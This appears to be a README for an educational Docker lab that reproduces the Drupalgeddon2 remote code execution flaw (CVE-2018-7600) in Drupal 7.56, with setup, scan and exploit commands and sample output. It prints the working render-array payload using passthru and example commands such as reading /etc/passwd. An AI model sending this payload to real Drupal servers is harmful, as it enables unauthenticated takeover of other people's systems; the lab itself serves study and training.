
Educational lab demonstrating CVE-2018-7600 (Drupalgeddon2) Remote Code Execution using a Docker-based vulnerable Drupal 7.56 environment.
Educational lab demonstrating exploitation of CVE-2018-7600 (Drupalgeddon2) using a vulnerable Drupal 7.56 environment deployed with Docker.
This project simulates a real-world vulnerability assessment workflow, including:
CVE-2018-7600 (Drupalgeddon2) is a critical Remote Code Execution (RCE) vulnerability in the Drupal CMS.
The issue exists in Drupal’s Form API, where user-controlled input can be interpreted as render arrays, allowing attackers to inject malicious callbacks such as:
This leads to unauthenticated command execution on the server.
Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database
cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│ └── docker-compose.yml
│
├── screenshots/
│ ├── drupal-dashboard.png
│ ├── drupal-version.png
│ └── rce-output.png
│
├── logs/
│ ├── scan_results.txt
│ └── exploit_log.txt
│
├── payloads/
│ └── payload-list.txt
│
├── report/
│ └── drupalgeddon2-report.pdf


git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab
docker compose up -d
http://localhost:8080
python3 scan.py http://localhost:8080
Example output:
[~] Scanning http://localhost:8080... VULNERABLE
python3 exploit.py http://localhost:8080 id
Example output:
uid=33(www-data) gid=33(www-data)
Basic payload structure used:
name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami
Example commands:
whoami
id
cat /etc/passwd
Full payload list available in:
payloads/payload-list.txt
To maintain a clean and professional repository structure:
This separation ensures:
This lab is intended for:
This project is for educational and research purposes only.
Do not attempt to exploit systems without explicit authorization.
The authors are not responsible for misuse.